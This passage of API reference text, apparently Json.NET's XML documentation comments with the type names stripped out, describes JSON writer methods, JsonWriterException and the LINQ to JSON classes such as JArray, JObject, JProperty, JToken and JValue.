an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes an undefined value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the given white space. The string of white space characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously ets the state of the . The being written. The value being written. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Gets or sets a value indicating whether the destination should be closed when this writer is closed. true to close the destination when this writer is closed; otherwise false. The default is true. Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. Gets the top. The top. Gets the state of the writer. Gets the path of the writer. Gets or sets a value indicating how JSON text output should be formatted. Gets or sets how dates are written to JSON text. Gets or sets how time zones are handled when writing JSON text. Gets or sets how strings are escaped when writing JSON text. Gets or sets how special floating point numbers, e.g. , and , are written to JSON text. Gets or sets how and values are formatted when writing JSON text. Gets or sets the culture used when writing JSON. Defaults to . Initializes a new instance of the class. Flushes whatever is in the buffer to the destination and also flushes the destination. Closes this writer. If is set to true, the destination is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the end of a JSON object. Writes the beginning of a JSON array. Writes the end of an array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end constructor. Writes the property name of a name/value pair of a JSON object. The name of the property. Writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes the end of the current JSON object or array. Writes the current token and its children. The to read the token from. Writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. Writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . Writes the token. The to write. Writes the specified end token. The end token to write. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a null value. Writes an undefined value. Writes raw JSON without changing the writer's state. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Sets the state of the . The being written. The value being written. The exception thrown when an error occurs while writing JSON text. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Specifies how JSON comments are handled when loading JSON. Ignore comments. Load comments as a with type . Specifies how duplicate property names are handled when loading JSON. Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. Throw a when a duplicate property is encountered. Contains the LINQ to JSON extension methods. Returns a collection of tokens that contains the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the ancestors of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, the ancestors of every token in the source collection. Returns a collection of tokens that contains the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the descendants of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, and the descendants of every token in the source collection. Returns a collection of child properties of every object in the source collection. An of that contains the source collection. An of that contains the properties of every object in the source collection. Returns a collection of child values of every object in the source collection with the given key. An of that contains the source collection. The token key. An of that contains the values of every token in the source collection with the given key. Returns a collection of child values of every object in the source collection. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child values of every object in the source collection with the given key. The type to convert the values to. An of that contains the source collection. The token key. An that contains the converted values of every token in the source collection with the given key. Returns a collection of converted child values of every object in the source collection. The type to convert the values to. An of that contains the source collection. An that contains the converted values of every token in the source collection. Converts the value. The type to convert the value to. A cast as a of . A converted value. Converts the value. The source collection type. The type to convert the value to. A cast as a of . A converted value. Returns a collection of child tokens of every array in the source collection. The source collection type. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child tokens of every array in the source collection. An of that contains the source collection. The type to convert the values to. The source collection type. An that contains the converted values of every token in the source collection. Returns the input typed as . An of that contains the source collection. The input typed as . Returns the input typed as . The source collection type. An of that contains the source collection. The input typed as . Represents a collection of objects. The type of token. Gets the of with the specified key. Represents a JSON array. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous load. The property contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous load. The property contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the array. Initializes a new instance of the class with the specified content. The contents of the array. Loads an from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads an from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Gets or sets the at the specified index. Determines the index of a specific item in the . The object to locate in the . The index of if found in the list; otherwise, -1. Inserts an item to the at the specified index. The zero-based index at which should be inserted. The object to insert into the . is not a valid index in the . Removes the item at the specified index. The zero-based index of the item to remove. is not a valid index in the . Returns an enumerator that iterates through the collection. A of that can be used to iterate through the collection. Adds an item to the . The object to add to the . Removes all items from the . Determines whether the contains a specific value. The object to locate in the . true if is found in the ; otherwise, false. Copies the elements of the to an array, starting at a particular array index. The array. Index of the array. Gets a value indicating whether the is read-only. true if the is read-only; otherwise, false. Removes the first occurrence of a specific object from the . The object to remove from the . true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . Represents a JSON constructor. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets or sets the name of this constructor. The constructor name. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name. The constructor name. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a token that can contain other tokens. Occurs when the list changes or an item in the list changes. Occurs before an item is added to the collection. Occurs when the items list of the collection has changed, or the collection is reset. Gets the container's children tokens. The container's children tokens. Raises the event. The instance containing the event data. Raises the event. The instance containing the event data. Raises the event. The instance containing the event data. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Returns a collection of the descendant tokens for this token in document order. An of containing the descendant tokens of the . Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. An of containing this token, and all the descendant tokens of the . Adds the specified content as children of this . The content to be added. Adds the specified content as the first children of this . The content to be added. Creates a that can be used to add tokens to the . A that is ready to have content written to it. Replaces the child nodes of this token with the specified content. The content. Removes the child nodes from this token. Merge the specified content into this . The content to be merged. Merge the specified content into this using . The content to be merged. The used to merge the content. Gets the count of child JSON tokens. The count of child JSON tokens. Represents a collection of objects. The type of token. An empty collection of objects. Initializes a new instance of the struct. The enumerable. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Gets the of with the specified key. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Returns a hash code for this instance. A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. Represents a JSON object. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Occurs when a property value changes. Occurs when a property value is changing. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the object. Initializes a new instance of the class with the specified content. The contents of the object. Gets the node type for this . The type. Gets an of of this object's properties. An of of this object's properties. Gets a with the specified name. The property name. A with the specified name or null. Gets the with the specified name. The exact name will be searched for first and if no matching property is found then the will be used to match a property. The property name. One of the enumeration values that specifies how the strings will be compared. A matched with the specified name or null. Gets a of of this object's property values. A of of this object's property values. Gets the with the specified key. The with the specified key. Gets or sets the with the specified property name. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . is not valid JSON. Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . is not valid JSON. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. is not valid JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. is not valid JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified property name. Name of the property. The with the specified property name. Gets the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. One of the enumeration values that specifies how the strings will be compared. The with the specified property name. Tries to get the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. The value. One of the enumeration values that specifies how the strings will be compared. true if a value was successfully retrieved; otherwise, false. Adds the specified property name. Name of the property. The value. Determines whether the JSON object has the specified property name. Name of the property. true if the JSON object has the specified property name; otherwise, false. Removes the property with the specified name. Name of the property. true if item was successfully removed; otherwise, false. Tries to get the with the specified property name. Name of the property. The value. true if a value was successfully retrieved; otherwise, false. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Raises the event with the provided arguments. Name of the property. Raises the event with the provided arguments. Name of the property. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Represents a JSON property. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets the property name. The property name. Gets or sets the property value. The property value. Initializes a new instance of the class from another object. A object to copy from. Gets the node type for this . The type. Initializes a new instance of the class. The property name. The property content. Initializes a new instance of the class. The property name. The property content. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a view of a . Initializes a new instance of the class. The name. When overridden in a derived class, returns whether resetting an object changes its value. true if resetting the component changes its value; otherwise, false. The component to test for reset capability. When overridden in a derived class, gets the current value of the property on a component. The value of a property for a given component. The component with the property for which to retrieve the value. When overridden in a derived class, resets the value for this property of the component to the default value. The component with the property value that is to be reset to the default value. When overridden in a derived class, sets the value of the component to a different value. The component with the property value that is to be set. The new value. When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. true if the property should be persisted; otherwise, false. The component with the property to be examined for persistence. When overridden in a derived class, gets the type of the component this property is bound to. A that represents the type of component this property is bound to. When the or methods are invoked, the object specified might be an instance of this type. When overridden in a derived class, gets a value indicating whether this property is read-only. true if the property is read-only; otherwise, false. When overridden in a derived class, gets the type of the property. A that represents the type of the property. Gets the hash code for the name of the member. The hash code for the name of the member. Represents a raw JSON string. Asynchronously creates an instance of with the content of the reader's current token. The reader. The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns an instance of with the content of the reader's current token. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class. The raw json. Creates an instance of with the content of the reader's current token. The reader. An instance of with the content of the reader's current token. Specifies the settings used when loading JSON. Initializes a new instance of the class. Gets or sets how JSON comments are handled when loading JSON. The default value is . The JSON comment handling. Gets or sets how JSON line info is handled when loading JSON. The default value is . The JSON line info handling. Gets or sets how duplicate property names in JSON objects are handled when loading JSON. The default value is . The JSON duplicate property name handling. Specifies the settings used when merging JSON. Initializes a new instance of the class. Gets or sets the method used when merging JSON arrays. The method used when merging JSON arrays. Gets or sets how null value properties are merged. How null value properties are merged. Gets or sets the comparison used to match property names while merging. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. The comparison used to match property names while merging. Specifies the settings used when selecting JSON. Gets or sets a timeout that will be used when executing regular expressions. The timeout that will be used when executing regular expressions. Gets or sets a flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. A flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. Represents an abstract JSON token. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Writes this token to a asynchronously. A into which this method will write. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously creates a from a . An positioned at the token to read into this . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . A positioned at the token to read into this . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Gets a comparer that can compare two tokens for value equality. A that can compare two nodes for value equality. Gets or sets the parent. The parent. Gets the root of this . The root of this . Gets the node type for this . The type. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Compares the values of two tokens, including the values of all descendant tokens. The first to compare. The second to compare. true if the tokens are equal; otherwise false. Gets the next sibling token of this node. The that contains the next sibling token. Gets the previous sibling token of this node. The that contains the previous sibling token. Gets the path of the JSON token. Adds the specified content immediately after this token. A content object that contains simple content or a collection of content objects to be added after this token. Adds the specified content immediately before this token. A content object that contains simple content or a collection of content objects to be added before this token. Returns a collection of the ancestor tokens of this token. A collection of the ancestor tokens of this token. Returns a collection of tokens that contain this token, and the ancestors of this token. A collection of tokens that contain this token, and the ancestors of this token. Returns a collection of the sibling tokens after this token, in document order. A collection of the sibling tokens after this tokens, in document order. Returns a collection of the sibling tokens before this token, in document order. A collection of the sibling tokens before this token, in document order. Gets the with the specified key. The with the specified key. Gets the with the specified key converted to the specified type. The type to convert the token to. The token key. The converted token value. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child tokens of this token, in document order, filtered by the specified type. The type to filter the child tokens on. A containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Removes this token from its parent. Replaces this token with the specified token. The value. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Returns the indented JSON for this token. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . The indented JSON for this token. Returns the JSON for this token using the given formatting and converters. Indicates how the output should be formatted. A collection of s which will be used when writing the token. The JSON for this token using the given formatting and converters. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to []. The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from [] to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Creates a for this token. A that can be used to read this token and its descendants. Creates a from an object. The object that will be used to create . A with the value of the specified object. Creates a from an object using the specified . The object that will be used to create . The that will be used when reading the object. A with the value of the specified object. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A , or null. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. A . Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. The used to select tokens. A . Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. The used to select tokens. An of that contains the selected elements. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Creates a new instance of the . All child tokens are recursively cloned. A new instance of the . Adds an object to the annotation list of this . The annotation to add. Get the first annotation object of the specified type from this . The type of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets the first annotation object of the specified type from this . The of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets a collection of annotations of the specified type for this . The type of the annotations to retrieve. An that contains the annotations for this . Gets a collection of annotations of the specified type for this . The of the annotations to retrieve. An of that contains the annotations that match the specified type for this . Removes the annotations of the specified type from this . The type of annotations to remove. Removes the annotations of the specified type from this . The of annotations to remove. Compares tokens to determine whether they are equal. Determines whether the specified objects are equal. The first object of type to compare. The second object of type to compare. true if the specified objects are equal; otherwise, false. Returns a hash code for the specified object. The for which a hash code is to be returned. A hash code for the specified object. The type of is a reference type and is null. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Gets the at the reader's current position. Initializes a new instance of the class. The token to read from. Initializes a new instance of the class. The token to read from. The initial path of the token. It is prepended to the returned . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Gets the path of the current JSON token. Specifies the type of token. No token type has been set. A JSON object. A JSON array. A JSON constructor. A JSON object property. A comment. An integer value. A float value. A string value. A boolean value. A null value. An undefined value. A date value. A raw JSON value. A collection of bytes value. A Guid value. A Uri value. A TimeSpan value. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets the at the writer's current position. Gets the token being written. The token being written. Initializes a new instance of the class writing to the given . The container being written to. Initializes a new instance of the class. Flushes whatever is in the buffer to the underlying . Closes this writer. If is set to true, the JSON is auto-completed. Setting to true has no additional effect, since the underlying is a type that cannot be closed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end. The token. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes a value. An error will be raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Represents a value in JSON (string, integer, date, etc). Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Creates a comment with the given value. The value. A comment with the given value. Creates a string with the given value. The value. A string with the given value. Creates a null value. A null value. Creates a undefined value. A undefined value. Gets the node type for this . The type. Gets or sets the underlying token value. The underlying token value. Writes this token to a . A into which this method will write. A collection of s which will be used when writing the token. Indicates whether the current object is equal to another object of the same type. true if the current object is equal to the parameter; otherwise, false. An object to compare with this object. Determines whether the specified is equal to the current . The to 